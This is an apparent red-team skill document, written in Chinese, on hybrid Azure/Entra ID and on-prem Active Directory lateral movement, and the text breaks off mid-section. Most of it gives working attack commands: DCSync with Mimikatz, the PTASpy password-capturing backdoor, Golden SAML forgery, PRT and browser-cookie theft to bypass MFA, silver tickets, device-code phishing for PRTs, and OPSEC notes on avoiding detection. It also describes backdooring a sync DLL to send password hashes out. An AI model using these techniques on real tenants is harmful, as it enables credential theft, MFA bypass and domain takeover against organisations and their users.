Azure Hybrid Lateral

Azure 混合身份横向移动方法论（Cloud <-> On-Prem）

在现代企业环境中，Azure/Entra ID 与本地 Active Directory 之间的混合身份架构极为普遍。这种架构在提供便利的同时，也创造了独特的攻击面——攻击者一旦控制了云端身份（Entra ID），便可借助同步服务、信任关系和凭据桥接机制穿越到本地 AD 环境，反之亦然。Cloud-to-OnPrem 横向移动是红队评估中最关键的攻击阶段之一，也是防御方最容易忽视的盲区。

核心要点：混合身份架构中的每一个同步组件（Connect Sync、Cloud Sync、PTA Agent、Federation）都是潜在的横向移动桥梁。攻击者需要首先识别目标使用的混合身份架构类型，然后选择对应的横向技术。

深入参考

识别到具体攻击集群后，加载对应参考文档获取完整技术细节：

• 身份同步类攻击（Connect Sync/Cloud Sync/PTA/Federation/Domain Services/Arc） → 读 references/identity-sync-attacks.md
• 令牌与凭据类攻击（PRT/Certificate/Cookie/Seamless SSO/Cloud Kerberos Trust/Exchange Hybrid） → 读 references/token-credential-attacks.md

横向移动决策树

获取云端或本地权限后，按以下决策树选择可用的横向技术：

混合身份架构识别
├─ 检测到 Azure AD Connect Sync（MSOL_* 账户存在）
│   ├─ 已控制 Connect Sync 服务器 → Connect Sync 凭据提取（DCSync）
│   ├─ 有 Entra ID GA 权限 + Password Writeback 启用 → 云端重置 AD 密码
│   └─ 检测到 Seamless SSO（AZUREADSSOACC$ 存在） → 银票伪造访问云端
│       → 读 references/identity-sync-attacks.md
│
├─ 检测到 Cloud Sync（provAgentgMSA 账户存在）
│   ├─ 已控制 gMSA 密码读取权限 → Cloud Sync gMSA 提取 + DCSync
│   └─ AD 用户同步到 Entra ID → 修改密码等待同步
│       → 读 references/identity-sync-attacks.md
│
├─ 检测到 PTA Agent（Pass-through Authentication）
│   ├─ 已控制 PTA 服务器 → 安装 PTASpy 后门（拦截所有密码 + 允许任意密码）
│   └─ 有 GA 权限 → 注册恶意 PTA Agent
│       → 读 references/identity-sync-attacks.md
│
├─ 检测到 Federation（AD FS 服务器存在）
│   ├─ 已控制 AD FS 服务器 → 提取 Token Signing 证书 → Golden SAML
│   └─ 有 Exchange Hybrid → ACS Actor Token 模拟
│       → 读 references/identity-sync-attacks.md
│
├─ 检测到 Cloud Kerberos Trust（AzureADKerberos$ 存在）
│   ├─ 有 GA/Hybrid Identity Admin 权限 → 修改用户 SID → Partial TGT → Full TGT
│   └─ 目标 MSOL 账户 → DCSync 全域
│       → 读 references/token-credential-attacks.md
│
├─ 检测到 Domain Services（AAD DC Administrators 组存在）
│   ├─ 有 Entra ID 权限 → 添加用户到 AAD DC Administrators → RDP 接管
│   └─ 托管域 → 密码哈希同步利用
│       → 读 references/identity-sync-attacks.md
│
├─ 检测到 Arc GPO 部署（AzureArcDeploy 共享目录存在）
│   ├─ 可创建/控制 AD 机器账户 → 解密 SP 密钥 → 云端接管
│   └─ → 读 references/identity-sync-attacks.md
│
├─ 已控制设备（Azure AD Joined/Hybrid Joined）
│   ├─ 设备有 PRT → Pass the PRT（提取 + 构造 PRT Cookie）
│   ├─ 设备有 PRT + NegoEx → Pass the Certificate
│   ├─ 浏览器有 Azure 会话 → Pass the Cookie（ESTSAUTH/ESTSAUTHPERSISTENT）
│   └─ 设备有云端应用（Excel/Teams）→ 内存中提取 JWT Token
│       → 读 references/token-credential-attacks.md
│
└─ 已获取用户凭据（密码/哈希/TGT）
    ├─ 用户已同步到 Entra ID → 直接登录云端
    ├─ 有 AZUREADSSOACC$ 哈希 → Seamless SSO 银票
    └─ 有 KRBTGT 哈希 → Golden Ticket 后通过 Seamless SSO 访问云端
        → 读 references/token-credential-attacks.md

14 种横向技术总览

第一组：身份同步类攻击

Connect Sync 凭据提取

Azure AD Connect Sync 在安装服务器上创建 MSOL_<installationID> 账户，该账户拥有本地 AD 的 DCSync（目录复制）权限。凭据以 DPAPI 加密方式存储在本地 SQL 数据库 ADSync.mdf 中。攻击者控制 Connect Sync 服务器后，可提取 MSOL 账户密码执行 DCSync 获取全域哈希。

# 提取 Connect Sync 存储的凭据
Install-Module -Name AADInternals -RequiredVersion 0.9.0
Import-Module AADInternals
Get-AADIntSyncCredentials

# 使用 MSOL 账户执行 DCSync
runas /netonly /user:domain\MSOL_<id> cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

枚举：搜索 MSOL_*、Sync_*、ADSyncMSA* 账户确认 Connect Sync 存在。

Cloud Sync gMSA 凭据提取

Cloud Sync 使用 provAgentgMSA 组托管服务账户（gMSA），默认拥有 DCSync 权限。gMSA 密码通常仅允许 DC 机器账户读取。攻击者需先获取 DC 机器账户哈希，然后以其身份读取 gMSA 密码。

# 枚举 gMSA 账户
Get-ADServiceAccount -Filter * -Server domain.local
# 获取 DC 机器账户哈希后读取 gMSA 密码
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword

PTA Agent 后门

Pass-through Authentication Agent 从 Azure AD 队列中获取加密凭据并在本地 AD 验证。攻击者控制 PTA 服务器后，可安装后门拦截所有明文密码并允许任意密码通过验证（类似 Skeleton Key 攻击）。

# 安装 PTASpy 后门
Install-AADIntPTASpy
# 读取拦截到的明文密码
Get-AADIntPTASpyLog -DecodePasswords
# 移除后门
Remove-AADIntPTASpy

注意：获取 GA 权限后可注册新的 PTA Agent 实现持久化。

Federation / Golden SAML

AD FS 使用 Token Signing 证书签名 SAML Response。攻击者提取该私钥后可伪造任意用户的 SAML 令牌（Golden SAML），绕过密码和 MFA 认证。证书不会自动轮换，且修改用户密码不影响已生成的 SAML。

# 从 AD FS 服务器导出 Token Signing 证书
Export-AADIntADFSSigningCertificate
# 使用 shimit 伪造 SAML Response
python shimit.py -idp http://adfs.domain.com/adfs/services/trust -pk key.pem -c cert.pem -u domain\admin -n admin@domain.com -r ADFS-admin -id 123456789012

Domain Services

Microsoft Entra Domain Services 在 Azure 中部署托管 AD。AAD DC Administrators 组成员在域内 VM 上拥有本地管理员权限。攻击者只需将用户加入该组即可通过 RDP 接管域内所有 VM。

Arc GPO 部署脚本注入

Azure Arc 通过 GPO 部署脚本将服务器接入 Azure，Service Principal 密钥使用 DPAPI-NG 加密存储在网络共享中。攻击者创建或控制 AD 机器账户后即可解密该密钥，以 Service Principal 身份访问 Azure。

# 使用机器账户 TGT 解密 SP 密钥
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "\\share\AzureArcDeploy\encryptedServicePrincipalSecret"
$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)

第二组：令牌与凭据类攻击

Pass the PRT

Primary Refresh Token（PRT）是 Azure AD 设备上的长生命周期刷新令牌，类似于 Kerberos TGT。PRT 及其 Session Key 缓存在 LSASS 的 CloudAP 插件中。无 TPM 设备上可直接从内存提取；有 TPM 设备上可通过 BrowserCore COM 接口或 WAM API 间接获取 PRT Cookie。

# 从 LSASS 提取 PRT 和 Session Key（无 TPM）
privilege::debug
sekurlsa::cloudap
token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# 生成 PRT Cookie
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>

# 使用 roadtx 续期 PRT
roadtx prt -a renew --prt <PRT> --prt-sessionkey <clear_key>
roadtx browserprtauth

非管理员路径：通过 BrowserCore COM（RequestAADRefreshToken.exe）或 ROADtoken 在用户级别获取 PRT Cookie。

Pass the Certificate

基于 PRT 向 Entra ID CA 请求用户 P2P 证书，然后使用该证书通过 NegoEx 认证访问其他 Azure AD Joined 机器。

# 请求 P2P 证书
RequestCert.py --tenantId <TenantID> --prt <PRT> --userName <User> --hexCtx <Ctx> --hexDerivedKey <Key>
# 使用证书访问远程机器
Main.py --usercert user.pfx --certpass <pass> --remoteip <target_ip>

Pass the Cookie

从浏览器提取 Azure 认证 Cookie（ESTSAUTH、ESTSAUTHPERSISTENT），使用 DPAPI 解密后注入浏览器即可绕过 MFA 直接访问 Azure 资源。

# 使用 Mimikatz 提取 Chrome Cookie
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
# 将 ESTSAUTHPERSISTENT Cookie 注入浏览器 → 访问 login.microsoftonline.com

Seamless SSO 银票

Seamless SSO 在 AD 中创建 AZUREADSSOACC$ 计算机账户，其密码永不更换且以明文发送给 Entra ID。攻击者获取该账户哈希后可为任意同步用户伪造 Kerberos 银票访问云端资源。

# 提取 AZUREADSSOACC$ 哈希
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
# 使用 SeamlessPass 获取云端令牌
seamlesspass -tenant corp.com -adssoacc-ntlm <hash> -user-sid <SID>
# 或伪造银票
mimikatz.exe "kerberos::golden /user:<target> /sid:<domain_SID> /id:<RID> /domain:domain.local /rc4:<hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit

注意：AZUREADSSOACC$ 密码永不更换，一次提取即可长期利用。银票不绕过 MFA。

Cloud Kerberos Trust

当环境启用 Cloud Kerberos Trust 时，Entra ID 可为 AD 用户签发 Partial TGT。攻击者拥有 Global Admin 权限后，可通过 Sync API 修改混合用户的 onPremisesSID 指向高权限 AD 账户（如 MSOL 同步账户），然后获取 Partial TGT 并在 DC 上换取 Full TGT，最终执行 DCSync。

# 修改混合用户的 on-prem SID 指向目标账户
python3 modifyuser.py -u <GA_UPN> -p <Password> --sourceanchor <ImmutableID> --sid <Target_SID> --sam <Target_SAM>
# 获取 PRT 中的 Partial TGT
roadtx getprt -u <HybridUser> -p <Password> -d <DeviceID>
# 将 Partial TGT 换为 Full TGT + NTLM 哈希
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
# DCSync
secretsdump.py 'DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash>

Exchange Hybrid 模拟

旧版 Exchange Hybrid 设计中，本地 Exchange 可使用与 Exchange Online 相同的 Entra 应用身份。攻击者从 Exchange 服务器提取 Hybrid 证书私钥后，可通过 ACS Actor Token 模拟任意用户访问 Exchange Online 和 SharePoint/OneDrive。graph.windows.net 的模拟路径已被修补，但 Exchange/SharePoint 模拟在未完成身份分离迁移的环境中仍然有效。

本地云凭据提取

入侵终端设备后可从多个位置提取云端凭据：

# 从进程内存提取 JWT Token
strings excel.dmp | grep 'eyJ0'
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

工具推荐

架构识别枚举命令

# 检测 Connect Sync（从 AD 侧）
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'"

# 检测 Cloud Sync（从 AD 侧）
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

# 检测 Seamless SSO（从 AD 侧）
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"

# 检测 Cloud Kerberos Trust（从 AD 侧）
Get-ADComputer -Filter "SamAccountName -like 'AzureADKerberos$'"

# 检测 PTA Agent（从 Entra ID 侧）
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'

# 检测 Cloud Sync Agent（从 Entra ID 侧）
az rest --method GET --uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups"

# 检测同步配置（从 Entra ID 侧）
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"

# 检测 Federation（从外部）
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain> | Format-Table

操作安全（OPSEC）

• PTA 后门：PTASpy 以 DLL 注入方式工作，重启服务后失效；在 C:\PTASpy 创建文件夹会留下文件系统痕迹
• Connect Sync 凭据提取：Get-AADIntSyncCredentials 需要本地管理员权限访问 SQL 数据库，操作本身不产生网络日志
• Golden SAML：Token Signing 证书不自动轮换，攻击者可长期伪造令牌；检测需监控 AD FS 证书导出事件
• PRT 提取：sekurlsa::cloudap 需要 SYSTEM 权限访问 LSASS，会触发 EDR/Sysmon 的 LSASS 访问告警
• Seamless SSO 银票：AZUREADSSOACC$ 密码永不更换，一次提取后攻击者可无限期伪造银票
• Cloud Kerberos Trust：修改用户 onPremisesSID 会被下次同步周期自动还原，但攻击窗口足够完成 DCSync
• Password Writeback：修改 AD 用户密码会产生 Entra ID 审计日志；adminCount=1 的用户（Domain Admins 等）不受影响
• GuardDuty 等效：Azure 中对应的检测服务为 Microsoft Defender for Identity 和 Microsoft Sentinel，监控 DCSync、异常 Kerberos 票据请求等

交叉引用

• 参考 azure-pentesting 技能，获取 Azure 环境的整体攻击流程和初始访问方法
• 参考 azure-ad-attack 技能，获取 Entra ID 权限提升和持久化技术

身份同步类攻击详细技术参考

Azure AD Connect Sync

架构概述

Azure AD Connect Sync 是微软的"经典"混合身份同步方案，在本地 AD 服务器上安装 Connect Agent，负责将 AD 用户/组/密码哈希同步到 Entra ID。安装时自动创建以下关键主体：

• `MSOL_<installationID>`：本地 AD 账户，拥有 Directory Synchronization Accounts 角色，拥有目录复制（DCSync）权限
• `ADSyncMSA<id>`：托管服务账户，无特殊默认权限
• `ConnectSyncProvisioning_ConnectSync_<id>`：Entra ID 中的 Service Principal，持有证书认证

凭据存储与提取

MSOL 账户的密码以 DPAPI 加密形式存储在 Connect Sync 服务器本地的 SQL 数据库中：

• 数据库路径：C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf
• 关键查询：SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

方法一：AADInternals 提取

Install-Module -Name AADInternals -RequiredVersion 0.9.0
Import-Module AADInternals
Get-AADIntSyncCredentials
# 输出 MSOL_* 账户的明文密码

方法二：adconnectdump 远程提取

# 远程连接 Connect Sync 服务器提取凭据
python adconnectdump.py domain.local/administrator:<password>@<connect_server_ip>

# 离线模式：先导出 ADSync.mdf 再解密
ADSyncQuery.exe C:\path\to\ADSync.mdf > out.txt
python adconnectdump.py domain.local/administrator:<password>@<ip> --existing-db --from-file out.txt

MSOL 账户利用：DCSync

# 以 MSOL 账户身份执行命令
runas /netonly /user:domain\MSOL_<id> cmd

# DCSync 提取 KRBTGT 哈希
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

# 提取任意用户哈希
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\administrator /domain:domain.local /dc:dc.domain.local"'

ConnectSyncProvisioning SP 利用

自 2025 年 1 月起，旧版 Sync_* 用户不再默认创建，取而代之的是 ConnectSyncProvisioning_ConnectSync_<id> Service Principal。该 SP 拥有以下 API 权限：

• ADSynchronization.ReadWrite.All
• PasswordWriteback.OffboardClient.All / RefreshClient.All / RegisterClientVersion.All

该 SP 的证书存储在 Connect Sync 服务器上。利用 SharpECUtils 可提取证书（需窃取 miiserver 进程的 Token），然后生成 PoP 证明获取 Graph Token，再为 SP 添加新证书实现持久化。

# 需要从 miiserver 进程窃取 Token 运行
SharpECUtils.exe

Password Writeback 利用（Cloud→AD）

启用 Password Writeback 后，MSOL 账户被授予 AD 中的密码重置权限。从 Entra ID 侧修改用户密码会自动同步到 AD。

限制：adminCount=1 的用户（Domain Admins 等特权组成员）不受影响。但以下高权限用户可被攻击：

• 直接分配了高权限的用户
• DNSAdmins 组成员
• Group Policy Creator Owners 组成员
• Cert Publishers 组成员
• 其他 adminCount 不为 1 的特权组成员

枚举命令

# 从 AD 侧检测 Connect Sync
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl

# 从 Entra ID 侧检测同步配置
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"

---

Cloud Sync

架构概述

Cloud Sync 是微软推荐的新一代同步方案，使用轻量级 Provisioning Agent 替代 Connect Sync。核心主体：

• Entra ID 侧：On-Premises Directory Synchronization Service Account，拥有 Directory Synchronization Accounts 角色
• AD 侧：provAgentgMSA（gMSA 账户），SamAccountName 格式为 pGMSA_<id>$@domain.com，默认拥有 DCSync 权限
• Entra ID 侧：AAD DC Administrators 组（无默认成员，配合 Domain Services 使用）

gMSA 凭据提取

gMSA 密码默认仅允许 DC 机器账户读取。攻击路径：

# 1. 枚举 gMSA 账户
Get-ADServiceAccount -Filter * -Server domain.local
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | select PrincipalsAllowedToRetrieveManagedPassword

# 2. 获取 DC 机器账户哈希（需要已有的 DCSync 或本地访问）
lsadump::dcsync /domain:domain.local /user:<dc-name>$

# 3. 以 DC 机器账户身份获取 gMSA 密码
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword

# 或修改 gMSA 密码读取权限（需要 AD 管理员权限）
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'

AD→Entra ID 穿越

用户同步到 Entra ID 后，修改 AD 密码会在几分钟内同步到云端：

• 修改已同步用户的密码 → 等待同步 → 使用新密码登录 Entra ID
• 创建新 AD 用户 → 等待同步 → 使用该用户登录 Entra ID
• 通过 gMSA 执行 DCSync → 破解用户密码 → 登录 Entra ID

Password Sync DLL 后门（持久化）

使用 dnSpy 修改 C:\Program Files\Microsoft Azure AD Sync\Bin\Microsoft.Online.Passwordsynchronisation.dll 中的 PasswordHashGenerator 类，在 CreatePasswordHash 方法中注入代码将用户哈希外传到攻击者服务器。该后门在密码同步时自动触发。

枚举命令

# 从 AD 侧
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

# 从 Entra ID 侧获取所有配置的 Cloud Sync Agent
az rest --method GET \
  --uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
  --headers "Content-Type=application/json"

---

PTA（Pass-Through Authentication）

架构概述

PTA 是一种不同步密码的认证方式。身份同步到 Entra ID，但认证请求通过本地 PTA Agent 转发到 AD 验证。认证流程：

1. 用户向 Azure AD 提交用户名和密码 2. 凭据加密后放入 Azure AD 队列 3. PTA Agent 从队列取回凭据并解密 4. Agent 在本地 AD 验证凭据，返回结果

PTASpy 后门安装

控制 PTA Agent 服务器后，可安装 PTASpy 后门：

Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals

# 安装后门（创建 C:\PTASpy，注入 PTASpy.dll 到认证代理进程）
Install-AADIntPTASpy

# 读取拦截到的明文密码
Get-AADIntPTASpyLog -DecodePasswords

# 移除后门
Remove-AADIntPTASpy

后门效果：

• 所有通过 PTA 认证的密码以明文形式记录到文件
• 所有密码验证均返回成功（类似 Skeleton Key 攻击）
• 服务重启后后门失效，需重新安装

恶意 PTA Agent 注册（持久化）

获取 Global Admin 权限后，可在攻击者控制的服务器上注册新的 PTA Agent：

# 注册新的 PTA Agent（需要 GA 凭据）
Install-AADIntPTASpy  # 在新注册的 Agent 上安装后门

枚举命令

# 从 Entra ID 侧
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'

# 从本地服务器
Get-Service -Name "AzureADConnectAuthenticationAgent"

---

Federation / Golden SAML

架构概述

Federation 使用 AD FS（Active Directory Federation Services）作为身份提供者（IdP），所有认证在本地完成。AD FS 使用 Token Signing 证书签名 SAML Response。SAML Response 中包含用户的 Claims（包括 ImmutableID），Service Provider 验证签名后授权访问。

Golden SAML 攻击

类似于 Golden Ticket 攻击——掌握签名密钥后可伪造任意用户的认证令牌。

前置条件：

• Token Signing 私钥（必须）
• IdP 公钥证书（必须）
• IdP 名称（必须）
• 目标用户的 ImmutableID
• 角色名称（如适用）

攻击优势：

• 可远程创建，不需要域内访问
• 即使启用 MFA 也有效
• Token Signing 私钥不自动轮换
• 修改用户密码不影响已生成的 SAML

# 从 AD FS 服务器导出 Token Signing 证书
Export-AADIntADFSSigningCertificate

# 获取目标用户的 ImmutableID
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# 获取 IdP 名称
(Get-ADFSProperties).Identifier.AbsoluteUri
# 也需检查 Azure AD 侧的 IssuerURI
Get-MsolDomainFederationSettings -DomainName domain.com | select IssuerUri

# 使用 shimit 伪造 SAML Response
python shimit.py -idp http://adfs.domain.com/adfs/services/trust \
  -pk key.pem -c cert.pem \
  -u domain\admin -n admin@domain.com \
  -r ADFS-admin -id 123456789012

# 使用 AADInternals 模拟用户访问 Office 365
Open-AADIntOffice365Portal -ImmutableID <ImmutableID> \
  -Issuer http://domain.com/adfs/services/trust \
  -PfxFileName ADFSSigningCertificate.pfx -Verbose

云端仅有用户的 Golden SAML

可为云端仅有用户设置 ImmutableID 后伪造：

# 创建并设置 ImmutableID
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_<ObjectID>" -SourceAnchor "<ImmutableID>"
# 然后使用 Golden SAML 模拟

---

Domain Services

架构概述

Microsoft Entra Domain Services 在 Azure 中部署托管 AD，无需管理 DC。用户从 Entra ID 同步到托管域（需先重置密码触发同步）。

穿越路径（Cloud→AD）

1. 将攻击者用户加入 AAD DC Administrators 组 2. 该组成员在域内 VM 上拥有本地管理员权限（通过 GPO AADDC Computers GPO 实现） 3. 通过 RDP 接入域内 VM 4. 从 VM 内部可执行域攻击（数据窃取、密码转储等）

限制：该托管域中的数据不会反向同步到 Entra ID。但 VM 上的 Managed Identity 可能拥有 Azure 权限。

枚举命令

# 查询 Domain Services 配置
az rest --method post \
  --url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
  --body '{"subscriptions":["<sub_id>"],"query":"resources | where type == \"microsoft.aad/domainservices\""}'

# 获取域配置详情
az rest --url "https://management.azure.com/subscriptions/<sub_id>/resourceGroups/<rg>/providers/Microsoft.AAD/DomainServices/<domain>?api-version=2022-12-01&healthdata=true"

---

Arc GPO 部署脚本注入

架构概述

Azure Arc 使用 GPO 将域内服务器接入 Azure。部署工具包包含 DeployGPO.ps1、EnableAzureArc.ps1 和 AzureArcDeployment.psm1。Service Principal 密钥使用 DPAPI-NG 加密存储在网络共享的 AzureArcDeploy 目录中，仅允许 Domain Computers 和 Domain Controllers 安全组解密。

攻击路径

前置条件： 1. 已渗透内网 2. 可创建或控制 AD 机器账户 3. 发现包含 AzureArcDeploy 目录的网络共享

# 1. 创建机器账户（利用 MachineAccountQuota）
Import-Module powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

# 2. 以机器账户身份运行（将 TGT 加载到内存）
runas /user:fake01$ /netonly powershell
# 或使用 Rubeus
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /ptt

# 3. 解密 Service Principal 密钥
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "\\share\AzureArcDeploy\encryptedServicePrincipalSecret"
$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)

# 4. 从 ArcInfo.json 获取 TenantId、SP ClientId、ResourceGroup 等信息
# 5. 使用 Azure CLI 以 Service Principal 身份认证
az login --service-principal -u <ClientId> -p <DecryptedSecret> --tenant <TenantId>

Hybrid Misc：强制同步攻击

通过修改 AD 用户的 ProxyAddress 属性（添加 Entra ID 管理员的 SMTP 地址）并匹配 UPN，可强制将 Entra ID 用户同步到本地 AD。

当前限制：微软已阻止管理员账户的强制同步，且不绕过 MFA。

令牌与凭据类攻击详细技术参考

Pass the PRT（Primary Refresh Token）

PRT 概述

Primary Refresh Token（PRT）是 Azure AD 设备认证中的核心凭据，类似于 Kerberos TGT。PRT 在用户登录 Azure AD Joined 设备时签发，可用于请求几乎任何 Entra ID 集成资源的 Access Token。每个 PRT 附带一个 Session Key（Proof-of-Possession Key），用于签名请求证明持有者身份。

存储位置：PRT 和 Session Key 缓存在 LSASS 的 CloudAP 插件中。有 TPM 的设备将 Session Key 绑定到 TPM 硬件；无 TPM 设备以 DPAPI 加密方式存储在软件中。

生命周期：PRT 有效期约 14 天，活跃使用期间持续续期。

检测 PRT 是否存在

dsregcmd /status
# 检查 AzureAdPrt 是否为 YES

# 检查 TPM 保护
Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# KeyProvider = Microsoft Platform Crypto Provider → TPM 绑定
# KeyProvider = Software Key Storage Provider → 非 TPM 绑定

无 TPM 设备：Mimikatz 直接提取

# 步骤 1：从 LSASS 提取 PRT 和加密的 Session Key
privilege::debug
sekurlsa::cloudap
# 记录 Prt 字段（base64 编码的 PRT）和 ProofOfPossessionKey 中的 KeyValue

# 步骤 2：提升到 SYSTEM 解密 Session Key
token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# 输出：Clear key（明文 Session Key）、Derived Key、Context

# 步骤 3：生成 PRT Cookie（JWT）
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
# 输出带 "Signature with key" 的签名 JWT

将生成的 JWT 设为浏览器 Cookie x-ms-RefreshTokenCredential，访问 login.microsoftonline.com 即可绕过 MFA 直接认证。

结合 AADInternals 使用

# 从 Mimikatz 获取 PRT 和 Clear Key 后
$MimikatzPRT = "<base64_PRT>"
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
$MimikatzKey = "<hex_clear_key>"
$SKey = [convert]::ToBase64String([byte[]]($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# 生成带 nonce 的 PRT Token
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
# 获取 MS Graph API Access Token
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken

结合 roadtx 使用

# 续期 PRT
roadtx prt -a renew --prt <PRT> --prt-sessionkey <clear_key>
# 使用浏览器认证获取 Access Token（包含 MFA claim）
roadtx browserprtauth
roadtx describe < .roadtools_auth

有 TPM 设备：用户级别利用

TPM 保护阻止直接提取 PRT 和 Session Key，但可通过 Windows 内置认证 API 间接获取令牌。

BrowserCore COM 接口（用户级别无需管理员）：

# RequestAADRefreshToken：调用 BrowserCore COM 获取 PRT Cookie
RequestAADRefreshToken.exe --uri https://login.microsoftonline.com

# ROADtoken：自动化获取 PRT Cookie
# 1. 获取 nonce
roadrecon auth prt-init
# 2. 使用 ROADtoken 获取 PRT Cookie
.\ROADtoken.exe <nonce>
# 3. 使用 Cookie 生成令牌
roadrecon auth --prt-cookie <prt_cookie>

WAM API（用户级别）：

# 通过 MSAL 静默获取 Access Token
$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken

管理员/SYSTEM 级别：模拟目标用户进程（如 explorer.exe），然后调用上述任意 API 获取该用户的令牌。

PRT 钓鱼（Phishing PRTs）

利用 OAuth Device Code 流程配合 Microsoft Authentication Broker 客户端 ID（29d9ed98-a469-4536-ade2-f981bc1d605e）获取可升级为 PRT 的 Refresh Token：

# 1. 发起 Device Code 认证
curl -s -X POST "https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
  -d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
  -d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
# 2. 受害者完成登录和 MFA
# 3. 使用获取的 Refresh Token 注册恶意设备
# 4. 将 Refresh Token 升级为 PRT
# 5. （可选）注册 Windows Hello for Business 密钥实现持久化

工具：ROADtools/ROADtx、DeviceCode2WinHello

---

Pass the Certificate

原理

在支持 NegoEx 认证的 Azure AD Joined 机器之间，可使用 Entra ID CA 签发的 P2P 证书进行跨机器认证。攻击者利用已提取的 PRT 信息向 Entra ID 请求目标用户的证书，然后使用该证书远程访问其他机器。

前置条件

需要完整的 Pass the PRT 攻击所需信息：

• Username、Tenant ID、PRT、Security Context、Derived Key

攻击步骤

# 1. 使用 PrtToCert 请求 P2P 证书
RequestCert.py --tenantId <TenantID> --prt <PRT> --userName <Username> \
  --hexCtx <SecurityContext> --hexDerivedKey <DerivedKey> [--passPhrase <passphrase>]
# 证书有效期与 PRT 相同

# 2. 使用 AzureADJoinedMachinePTC 通过证书远程访问目标机器
Main.py --usercert <user_cert.pfx> --certpass <certpass> --remoteip <target_ip>
# 在目标机器上获得 CMD（通过 PSEXEC），可继续提取下一个用户的 PRT

---

Pass the Cookie

原理

Azure 认证 Cookie 存储在浏览器中，代表已完成认证（包括 MFA）的会话。提取并重放这些 Cookie 可绕过所有认证要求直接访问 Azure 资源。

关键 Cookie

攻击步骤

# 1. 使用 Mimikatz 解密 Chrome Cookie（需要用户的 DPAPI Master Key）
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit

# 2. 在攻击者浏览器中：
#    - 访问 login.microsoftonline.com
